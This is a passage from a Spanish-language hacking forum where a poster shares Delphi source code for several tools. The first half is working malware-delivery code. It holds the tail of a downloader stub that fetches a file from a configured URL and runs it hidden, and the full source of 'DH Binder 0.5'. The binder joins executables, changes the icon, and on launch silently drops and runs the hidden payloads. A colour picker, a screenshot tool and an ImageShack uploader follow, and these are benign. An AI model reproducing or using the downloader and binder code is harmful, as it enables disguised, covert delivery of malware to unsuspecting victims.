      aca := Char(StrToInt('$' + Copy(texto, (num - 1) * 2 + 1, 2)));
      Result := Result + aca;
    end;
  end;

end;

//

var
  ob: THandle;
  code: Array [0 .. 9999 + 1] of Char;
  nose: DWORD;
  link: string;
  todo: string;
  opcion: string;
  path: string;
  nombre: string;
  rutafinal: string;
  tipodecarga: string;

begin

  try

    ob := INVALID_HANDLE_VALUE;
    code := '';

    ob := CreateFile(pchar(paramstr(0)), GENERIC_READ, FILE_SHARE_READ, nil,
      OPEN_EXISTING, 0, 0);
    if (ob <> INVALID_HANDLE_VALUE) then
    begin
      SetFilePointer(ob, -9999, nil, FILE_END);
      ReadFile(ob, code, 9999, nose, nil);
      CloseHandle(ob);
    end;

    todo := regex(code, '[63686175]', '[63686175]');
    todo := dhencode(todo, 'decode');

    link := regex(todo, '[link]', '[link]');
    opcion := regex(todo, '[opcion]', '[opcion]');
    path := regex(todo, '[path]', '[path]');
    nombre := regex(todo, '[name]', '[name]');
    tipodecarga := regex(todo, '[carga]', '[carga]');

    rutafinal := GetEnvironmentVariable(path) + '/' + nombre;

    try

      begin
        UrlDownloadToFile(nil, pchar(link), pchar(rutafinal), 0, nil);

        if (FileExists(rutafinal)) then
        begin

          if (opcion = '1') then
          begin
            SetFileAttributes(pchar(rutafinal), FILE_ATTRIBUTE_HIDDEN);
          end;

          if (tipodecarga = '1') then
          begin
            ShellExecute(0, 'open', pchar(rutafinal), nil, nil, SW_HIDE);
          end
          else
          begin
            ShellExecute(0, 'open', pchar(rutafinal), nil, nil, SW_SHOWNORMAL);
          end;
        end;

      end;
    except
      //
    end;

  except
    //
  end;

end.

// The End ?


Si lo quieren bajar lo pueden hacer de No tienes permitido ver los links. Registrarse o Entrar a mi cuenta.
#117
Delphi / [Delphi] DH Binder 0.5
Mayo 21, 2014, 06:15:21 PM
Version final de esta binder que hice en Delphi.

Una imagen :



Un video con un ejemplo de uso :

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Los codigos :

El generador.

Código: delphi

// DH Binder 0.5
// (C) Doddy Hackman 2014
// Credits :
// Joiner Based in : "Ex Binder v0.1" by TM
// Icon Changer based in : "IconChanger" By Chokstyle
// Thanks to TM & Chokstyle

unit dh;

interface

uses
  Winapi.Windows, Winapi.Messages, System.SysUtils, System.Variants,
  System.Classes, Vcl.Graphics,
  Vcl.Controls, Vcl.Forms, Vcl.Dialogs, Vcl.ComCtrls, Vcl.Imaging.pngimage,
  Vcl.ExtCtrls, Vcl.StdCtrls, Vcl.Menus, MadRes;

type
  TForm1 = class(TForm)
    Image1: TImage;
    StatusBar1: TStatusBar;
    PageControl1: TPageControl;
    TabSheet1: TTabSheet;
    TabSheet2: TTabSheet;
    TabSheet3: TTabSheet;
    TabSheet4: TTabSheet;
    GroupBox1: TGroupBox;
    Button1: TButton;
    GroupBox2: TGroupBox;
    ListView1: TListView;
    GroupBox3: TGroupBox;
    GroupBox4: TGroupBox;
    ComboBox1: TComboBox;
    GroupBox5: TGroupBox;
    CheckBox1: TCheckBox;
    GroupBox6: TGroupBox;
    GroupBox7: TGroupBox;
    Image2: TImage;
    GroupBox8: TGroupBox;
    Button2: TButton;
    GroupBox9: TGroupBox;
    Image3: TImage;
    Memo1: TMemo;
    PopupMenu1: TPopupMenu;
    AddFile1: TMenuItem;
    CleanList1: TMenuItem;
    OpenDialog1: TOpenDialog;
    OpenDialog2: TOpenDialog;
    Edit1: TEdit;
    procedure CleanList1Click(Sender: TObject);
    procedure AddFile1Click(Sender: TObject);
    procedure Button2Click(Sender: TObject);
    procedure FormCreate(Sender: TObject);
    procedure Button1Click(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
  end;

var
  Form1: TForm1;

implementation

{$R *.dfm}
// Functions

function dhencode(texto, opcion: string): string;
// Thanks to Taqyon
// Based on http://www.vbforums.com/showthread.php?346504-DELPHI-Convert-String-To-Hex
var
  num: integer;
  aca: string;
  cantidad: integer;

begin

  num := 0;
  Result := '';
  aca := '';
  cantidad := 0;

  if (opcion = 'encode') then
  begin
    cantidad := length(texto);
    for num := 1 to cantidad do
    begin
      aca := IntToHex(ord(texto[num]), 2);
      Result := Result + aca;
    end;
  end;

  if (opcion = 'decode') then
  begin
    cantidad := length(texto);
    for num := 1 to cantidad div 2 do
    begin
      aca := Char(StrToInt('$' + Copy(texto, (num - 1) * 2 + 1, 2)));
      Result := Result + aca;
    end;
  end;

end;

//

procedure TForm1.AddFile1Click(Sender: TObject);
var
  op: String;
begin

  if OpenDialog1.Execute then
  begin

    op := InputBox('Add File', 'Execute Hide ?', 'Yes');

    with ListView1.Items.Add do
    begin
      Caption := ExtractFileName(OpenDialog1.FileName);
      if (op = 'Yes') then
      begin
        SubItems.Add(OpenDialog1.FileName);
        SubItems.Add('Hide');
      end
      else
      begin
        SubItems.Add(OpenDialog1.FileName);
        SubItems.Add('Normal');
      end;
    end;

  end;
end;

procedure TForm1.Button1Click(Sender: TObject);
var
  i: integer;
  nombre: string;
  ruta: string;
  tipo: string;
  savein: string;
  opcionocultar: string;
  lineafinal: string;
  uno: DWORD;
  tam: DWORD;
  dos: DWORD;
  tres: DWORD;
  todo: Pointer;
  change: DWORD;
  valor: string;
  stubgenerado: string;

begin

  if (ListView1.Items.Count = 0) or (ListView1.Items.Count = 1) then
  begin
    ShowMessage('You have to choose two or more files');
  end
  else
  begin
    stubgenerado := 'done.exe';

    if (CheckBox1.Checked = True) then
    begin
      opcionocultar := '1';
    end
    else
    begin
      opcionocultar := '0';
    end;

    if (ComboBox1.Items[ComboBox1.ItemIndex] = '') then
    begin
      savein := 'USERPROFILE';
    end
    else
    begin
      savein := ComboBox1.Items[ComboBox1.ItemIndex];
    end;

    DeleteFile(stubgenerado);
    CopyFile(PChar(ExtractFilePath(Application.ExeName) + '/' +
      'Data/stub.exe'), PChar(ExtractFilePath(Application.ExeName) + '/' +
      stubgenerado), True);

    uno := BeginUpdateResource(PChar(ExtractFilePath(Application.ExeName) + '/'
      + stubgenerado), True);

    for i := 0 to ListView1.Items.Count - 1 do
    begin

      nombre := ListView1.Items[i].Caption;
      ruta := ListView1.Items[i].SubItems[0];
      tipo := ListView1.Items[i].SubItems[1];

      lineafinal := '[nombre]' + nombre + '[nombre][tipo]' + tipo +
        '[tipo][dir]' + savein + '[dir][hide]' + opcionocultar + '[hide]';
      lineafinal := '[63686175]' + dhencode(UpperCase(lineafinal), 'encode') +
        '[63686175]';

      dos := CreateFile(PChar(ruta), GENERIC_READ, FILE_SHARE_READ, nil,
        OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0);
      tam := GetFileSize(dos, nil);
      GetMem(todo, tam);
      ReadFile(dos, todo^, tam, tres, nil);
      CloseHandle(dos);
      UpdateResource(uno, RT_RCDATA, PChar(lineafinal),
        MAKEWord(LANG_NEUTRAL, SUBLANG_NEUTRAL), todo, tam);

    end;

    EndUpdateResource(uno, False);

    if not(Edit1.Text = '') then
    begin
      try
        begin
          change := BeginUpdateResourceW
            (PWideChar(wideString(ExtractFilePath(Application.ExeName) + '/' +
            stubgenerado)), False);
          LoadIconGroupResourceW(change, PWideChar(wideString(valor)), 0,
            PWideChar(wideString(Edit1.Text)));
          EndUpdateResourceW(change, False);
          StatusBar1.Panels[0].Text := '[+] Done ';
          Form1.StatusBar1.Update;
        end;
      except
        begin
          StatusBar1.Panels[0].Text := '[-] Error';
          Form1.StatusBar1.Update;
        end;
      end;
    end
    else
    begin
      StatusBar1.Panels[0].Text := '[+] Done ';
      Form1.StatusBar1.Update;
    end;
  end;
end;

procedure TForm1.Button2Click(Sender: TObject);
begin
  if OpenDialog2.Execute then
  begin
    Image2.Picture.LoadFromFile(OpenDialog2.FileName);
    Edit1.Text := OpenDialog2.FileName;
  end;
end;

procedure TForm1.CleanList1Click(Sender: TObject);
begin
  ListView1.Items.Clear;
end;

procedure TForm1.FormCreate(Sender: TObject);
begin
  OpenDialog1.InitialDir := GetCurrentDir;
  OpenDialog2.InitialDir := GetCurrentDir;
  OpenDialog2.Filter := 'Icons|*.ico|';
end;

end.

// The End ?


El stub.

Código: delphi

// DH Binder 0.5
// (C) Doddy Hackman 2014
// Credits :
// Joiner Based in : "Ex Binder v0.1" by TM
// Icon Changer based in : "IconChanger" By Chokstyle
// Thanks to TM & Chokstyle

program stub;

uses
  Windows,
  SysUtils,
  ShellApi;

// Functions

function regex(text: String; deaca: String; hastaaca: String): String;
begin
  Delete(text, 1, AnsiPos(deaca, text) + Length(deaca) - 1);
  SetLength(text, AnsiPos(hastaaca, text) - 1);
  Result := text;
end;

function dhencode(texto, opcion: string): string;
// Thanks to Taqyon
// Based on http://www.vbforums.com/showthread.php?346504-DELPHI-Convert-String-To-Hex
var
  num: integer;
  aca: string;
  cantidad: integer;

begin

  num := 0;
  Result := '';
  aca := '';
  cantidad := 0;

  if (opcion = 'encode') then
  begin
    cantidad := Length(texto);
    for num := 1 to cantidad do
    begin
      aca := IntToHex(ord(texto[num]), 2);
      Result := Result + aca;
    end;
  end;

  if (opcion = 'decode') then
  begin
    cantidad := Length(texto);
    for num := 1 to cantidad div 2 do
    begin
      aca := Char(StrToInt('$' + Copy(texto, (num - 1) * 2 + 1, 2)));
      Result := Result + aca;
    end;
  end;

end;

//

// Start the game

function start(tres: THANDLE; cuatro, cinco: PChar; seis: DWORD): BOOL; stdcall;
var
  data: DWORD;
  uno: DWORD;
  dos: DWORD;
  cinco2: string;
  nombre: string;
  tipodecarga: string;
  ruta: string;
  ocultar: string;

begin

  Result := True;

  cinco2 := cinco;
  cinco2 := regex(cinco2, '[63686175]', '[63686175]');
  cinco2 := dhencode(cinco2, 'decode');
  cinco2 := LowerCase(cinco2);

  nombre := regex(cinco2, '[nombre]', '[nombre]');
  tipodecarga := regex(cinco2, '[tipo]', '[tipo]');
  ruta := GetEnvironmentVariable(regex(cinco2, '[dir]', '[dir]')) + '/';
  ocultar := regex(cinco2, '[hide]', '[hide]');

  data := FindResource(0, cinco, cuatro);

  uno := CreateFile(PChar(ruta + nombre), GENERIC_WRITE, FILE_SHARE_WRITE, nil,
    CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, 0);
  WriteFile(uno, LockResource(LoadResource(0, data))^, SizeOfResource(0, data),
    dos, nil);

  CloseHandle(uno);

  if (ocultar = '1') then
  begin
    SetFileAttributes(PChar(ruta + nombre), FILE_ATTRIBUTE_HIDDEN);
  end;

  if (tipodecarga = 'normal') then
  begin
    ShellExecute(0, 'open', PChar(ruta + nombre), nil, nil, SW_SHOWNORMAL);
  end
  else
  begin
    ShellExecute(0, 'open', PChar(ruta + nombre), nil, nil, SW_HIDE);
  end;

end;

begin

  EnumResourceNames(0, RT_RCDATA, @start, 0);

end.

// The End ?


Si lo quieren bajar lo pueden hacer de No tienes permitido ver los links. Registrarse o Entrar a mi cuenta.
#118
Delphi / [Delphi] DH GetColor 0.3
Mayo 16, 2014, 01:21:11 PM
Version final de este programa para encontrar el color de un pixel.

Una imagen :



El codigo :

Código: delphi

// DH GetColor 0.3
// (C) Doddy Hackman 2014
// Credits :
// Based on  : http://stackoverflow.com/questions/15155505/get-pixel-color-under-mouse-cursor-fast-way
// Based on : http://www.coldtail.com/wiki/index.php?title=Borland_Delphi_Example_-_Show_pixel_color_under_mouse_cursor

unit dh;

interface

uses
  Winapi.Windows, Winapi.Messages, System.SysUtils, System.Variants,
  System.Classes, Vcl.Graphics,
  Vcl.Controls, Vcl.Forms, Vcl.Dialogs, Vcl.ComCtrls, Vcl.Imaging.pngimage,
  Vcl.ExtCtrls, Vcl.StdCtrls, Vcl.Clipbrd;

type
  TForm1 = class(TForm)
    Image1: TImage;
    StatusBar1: TStatusBar;
    Timer1: TTimer;
    GroupBox1: TGroupBox;
    Shape1: TShape;
    GroupBox2: TGroupBox;
    Memo1: TMemo;
    Label1: TLabel;
    Label2: TLabel;
    Timer2: TTimer;
    procedure Timer1Timer(Sender: TObject);
    procedure FormCreate(Sender: TObject);
    procedure Timer2Timer(Sender: TObject);

  private
    capturanow: HDC;
    { Private declarations }
  public
    { Public declarations }
  end;

var
  Form1: TForm1;

implementation

{$R *.dfm}

procedure TForm1.FormCreate(Sender: TObject);
begin

  capturanow := GetDC(0);
  if (capturanow <> 0) then
  begin
    Timer1.Enabled := True;
  end;

end;

procedure TForm1.Timer1Timer(Sender: TObject);
var
  aca: TPoint;
  color: TColor;
  re: string;

begin

  if GetCursorPos(aca) then
  begin
    color := GetPixel(capturanow, aca.X, aca.Y);
    Shape1.Brush.color := color;
    re := IntToHex(GetRValue(color), 2) + IntToHex(GetGValue(color), 2) +
      IntToHex(GetBValue(color), 2);
    Label2.Caption := re;
    StatusBar1.Panels[0].Text := '[+] Finding colors ...';
    Form1.StatusBar1.Update;
  end;
end;

procedure TForm1.Timer2Timer(Sender: TObject);
var
  re: Longint;
begin

  re := GetAsyncKeyState(65);
  if re = -32767 then
  begin
    Clipboard.AsText := Label2.Caption;
    StatusBar1.Panels[0].Text := '[+] Color copied to clipboard';
    Form1.StatusBar1.Update;
  end;

end;

end.

// The End ?


Si quieren bajar el programa lo pueden hacer de No tienes permitido ver los links. Registrarse o Entrar a mi cuenta.
#119
Delphi / [Delphi] DH ScreenShoter 0.3
Mayo 09, 2014, 03:22:52 PM
Version final de este programa para sacar un screenshot y subirlo ImageShack.

Una imagen :



El codigo :

Código: delphi

// DH Screenshoter 0.3
// (C) Doddy Hackman 2014
// Based in the API of : https://imageshack.com/

unit screen;

interface

uses
  Windows, System.SysUtils, System.Variants,
  System.Classes, Graphics,
  Vcl.Controls, Vcl.Forms, Vcl.Dialogs, Vcl.Imaging.pngimage, Vcl.ExtCtrls,
  Vcl.ComCtrls, Vcl.StdCtrls, Jpeg, ShellApi, IdMultipartFormData,
  IdBaseComponent, IdComponent, IdTCPConnection, IdTCPClient, IdHTTP, PerlRegEx,
  about;

type
  TForm1 = class(TForm)
    Image1: TImage;
    StatusBar1: TStatusBar;
    GroupBox1: TGroupBox;
    CheckBox1: TCheckBox;
    Edit1: TEdit;
    CheckBox2: TCheckBox;
    Edit2: TEdit;
    Label1: TLabel;
    CheckBox3: TCheckBox;
    CheckBox4: TCheckBox;
    GroupBox2: TGroupBox;
    Edit3: TEdit;
    GroupBox3: TGroupBox;
    Button1: TButton;
    Button2: TButton;
    Button3: TButton;
    Button4: TButton;
    IdHTTP1: TIdHTTP;
    procedure Button1Click(Sender: TObject);
    procedure Button4Click(Sender: TObject);
    procedure Button2Click(Sender: TObject);
    procedure Button3Click(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
  end;

var
  Form1: TForm1;

implementation

{$R *.dfm}
// Functions

procedure capturar(nombre: string);

// Function capturar() based in :
// http://forum.codecall.net/topic/60613-how-to-capture-screen-with-delphi-code/
// http://delphi.about.com/cs/adptips2001/a/bltip0501_4.htm
// http://stackoverflow.com/questions/21971605/show-mouse-cursor-in-screenshot-with-delphi
// Thanks to Zarko Gajic , Luthfi and Ken White

var
  aca: HDC;
  tan: TRect;
  posnow: TPoint;
  imagen1: TBitmap;
  imagen2: TJpegImage;
  curnow: THandle;

begin

  aca := GetWindowDC(GetDesktopWindow);
  imagen1 := TBitmap.Create;

  GetWindowRect(GetDesktopWindow, tan);
  imagen1.Width := tan.Right - tan.Left;
  imagen1.Height := tan.Bottom - tan.Top;
  BitBlt(imagen1.Canvas.Handle, 0, 0, imagen1.Width, imagen1.Height, aca, 0,
    0, SRCCOPY);

  GetCursorPos(posnow);

  curnow := GetCursor;
  DrawIconEx(imagen1.Canvas.Handle, posnow.X, posnow.Y, curnow, 32, 32, 0, 0,
    DI_NORMAL);

  imagen2 := TJpegImage.Create;
  imagen2.Assign(imagen1);
  imagen2.CompressionQuality := 60;
  imagen2.SaveToFile(nombre);

  imagen1.Free;
  imagen2.Free;

end;

//

procedure TForm1.Button1Click(Sender: TObject);
var
  fecha: TDateTime;
  fechafinal: string;
  nombrefecha: string;
  i: integer;
  datos: TIdMultiPartFormDataStream;
  code: string;
  regex: TPerlRegEx;
  url: string;

begin

  Edit3.Text := '';
  regex := TPerlRegEx.Create();

  fecha := now();
  fechafinal := DateTimeToStr(fecha);
  nombrefecha := fechafinal + '.jpg';

  nombrefecha := StringReplace(nombrefecha, '/', ':',
    [rfReplaceAll, rfIgnoreCase]);
  nombrefecha := StringReplace(nombrefecha, ' ', '',
    [rfReplaceAll, rfIgnoreCase]);
  nombrefecha := StringReplace(nombrefecha, ':', '_',
    [rfReplaceAll, rfIgnoreCase]);

  if (CheckBox2.Checked) then
  begin
    for i := 1 to StrToInt(Edit2.Text) do
    begin
      StatusBar1.Panels[0].Text := '[+] Taking picture on  : ' + IntToStr(i) +
        ' seconds ';
      Form1.StatusBar1.Update;
      Sleep(i * 1000);
    end;
  end;

  Form1.Hide;

  Sleep(1000);

  if (CheckBox1.Checked) then
  begin
    capturar(Edit1.Text);
  end
  else
  begin
    capturar(nombrefecha);
  end;

  Form1.Show;

  StatusBar1.Panels[0].Text := '[+] Photo taken';
  Form1.StatusBar1.Update;

  if (CheckBox4.Checked) then
  begin

    StatusBar1.Panels[0].Text := '[+] Uploading ...';
    Form1.StatusBar1.Update;

    datos := TIdMultiPartFormDataStream.Create;
    datos.AddFormField('key', '');
    // Fuck You

    if (CheckBox1.Checked) then
    begin
      datos.AddFile('fileupload', Edit1.Text, 'application/octet-stream');
    end
    else
    begin
      datos.AddFile('fileupload', nombrefecha, 'application/octet-stream');
    end;
    datos.AddFormField('format', 'json');

    code := IdHTTP1.Post('http://post.imageshack.us/upload_api.php', datos);

    regex.regex := '"image_link":"(.*?)"';
    regex.Subject := code;

    if regex.Match then
    begin
      url := regex.Groups[1];
      url := StringReplace(url, '\', '', [rfReplaceAll, rfIgnoreCase]);
      Edit3.Text := url;
      StatusBar1.Panels[0].Text := '[+] Done';
      Form1.StatusBar1.Update;
    end
    else
    begin
      StatusBar1.Panels[0].Text := '[-] Error uploading';
      Form1.StatusBar1.Update;
    end;
  end;

  if (CheckBox3.Checked) then
  begin
    if (CheckBox1.Checked) then
    begin
      ShellExecute(Handle, 'open', Pchar(Edit1.Text), nil, nil, SW_SHOWNORMAL);
    end
    else
    begin
      ShellExecute(Handle, 'open', Pchar(nombrefecha), nil, nil, SW_SHOWNORMAL);
    end;
  end;
end;

procedure TForm1.Button2Click(Sender: TObject);
begin
  Edit3.SelectAll;
  Edit3.CopyToClipboard;
end;

procedure TForm1.Button3Click(Sender: TObject);
begin
  Form2.Show;
end;

procedure TForm1.Button4Click(Sender: TObject);
begin
  Form1.Close();
  Form2.Close();
end;

end.

// The End ?


Si quieren bajar el programa lo pueden hacer de No tienes permitido ver los links. Registrarse o Entrar a mi cuenta.
#120
Delphi / [Delphi] ImageShack Uploader 0.3
Mayo 02, 2014, 06:02:11 PM
Version Final de este programa para subir imagenes a ImageShack usando el API que ofrecen.

Una imagen :



El codigo :

Código: delphi

// ImageShack Uploader 0.3
// Based in the API of ImageShack
// Coded By Doddy H

unit image;

interface

uses
  Winapi.Windows, Winapi.Messages, System.SysUtils, System.Variants,
  System.Classes, Vcl.Graphics,
  Vcl.Controls, Vcl.Forms, Vcl.Dialogs, IdBaseComponent, IdComponent,
  IdTCPConnection, IdTCPClient, IdHTTP, Vcl.Imaging.pngimage, Vcl.ExtCtrls,
  Vcl.ComCtrls, Vcl.StdCtrls, about, IdMultipartFormData, PerlRegEx;

type
  TForm1 = class(TForm)
    IdHTTP1: TIdHTTP;
    Image1: TImage;
    StatusBar1: TStatusBar;
    GroupBox1: TGroupBox;
    Edit1: TEdit;
    Button1: TButton;
    OpenDialog1: TOpenDialog;
    GroupBox2: TGroupBox;
    Edit2: TEdit;
    GroupBox3: TGroupBox;
    Button2: TButton;
    Button3: TButton;
    Button4: TButton;
    Button5: TButton;
    procedure Button4Click(Sender: TObject);
    procedure Button1Click(Sender: TObject);
    procedure Button3Click(Sender: TObject);
    procedure Button5Click(Sender: TObject);
    procedure Button2Click(Sender: TObject);
    procedure FormCreate(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
  end;

var
  Form1: TForm1;

implementation

{$R *.dfm}

procedure TForm1.Button1Click(Sender: TObject);
begin
  if OpenDialog1.Execute then
  begin
    Edit1.Text := OpenDialog1.FileName;
  end;
end;

procedure TForm1.Button2Click(Sender: TObject);
var
  regex: TPerlRegEx;
  datos: TIdMultiPartFormDataStream;
  code: string;
  url: string;

begin

  if FileExists(Edit1.Text) then
  begin

    regex := TPerlRegEx.Create();

    StatusBar1.Panels[0].Text := '[+] Uploading ...';
    Form1.StatusBar1.Update;

    datos := TIdMultiPartFormDataStream.Create;
    datos.AddFormField('key', '');
    // Fuck You
    datos.AddFile('fileupload', Edit1.Text, 'application/octet-stream');
    datos.AddFormField('format', 'json');

    code := IdHTTP1.Post('http://post.imageshack.us/upload_api.php', datos);

    regex.regex := '"image_link":"(.*?)"';
    regex.Subject := code;

    if regex.Match then
    begin
      url := regex.Groups[1];
      url := StringReplace(url, '\', '', [rfReplaceAll, rfIgnoreCase]);
      Edit2.Text := url;
      StatusBar1.Panels[0].Text := '[+] Done';
      Form1.StatusBar1.Update;

    end
    else
    begin
      StatusBar1.Panels[0].Text := '[-] Error uploading';
      Form1.StatusBar1.Update;
    end;

    regex.Free;

  end
  else
  begin
    StatusBar1.Panels[0].Text := '[+] File not Found';
    Form1.StatusBar1.Update;
  end;

end;

procedure TForm1.Button3Click(Sender: TObject);
begin
  Edit2.SelectAll;
  Edit2.CopyToClipboard;
end;

procedure TForm1.Button4Click(Sender: TObject);
begin
  Form2.Show;
end;

procedure TForm1.Button5Click(Sender: TObject);
begin
  Form1.Close();
  Form2.Close();
end;

procedure TForm1.FormCreate(Sender: TObject);
begin
  OpenDialog1.InitialDir := GetCurrentDir;
end;

end.

// The End ?


Si lo quieren bajar lo pueden hacer de No tienes permitido ver los links. Registrarse o Entrar a mi cuenta.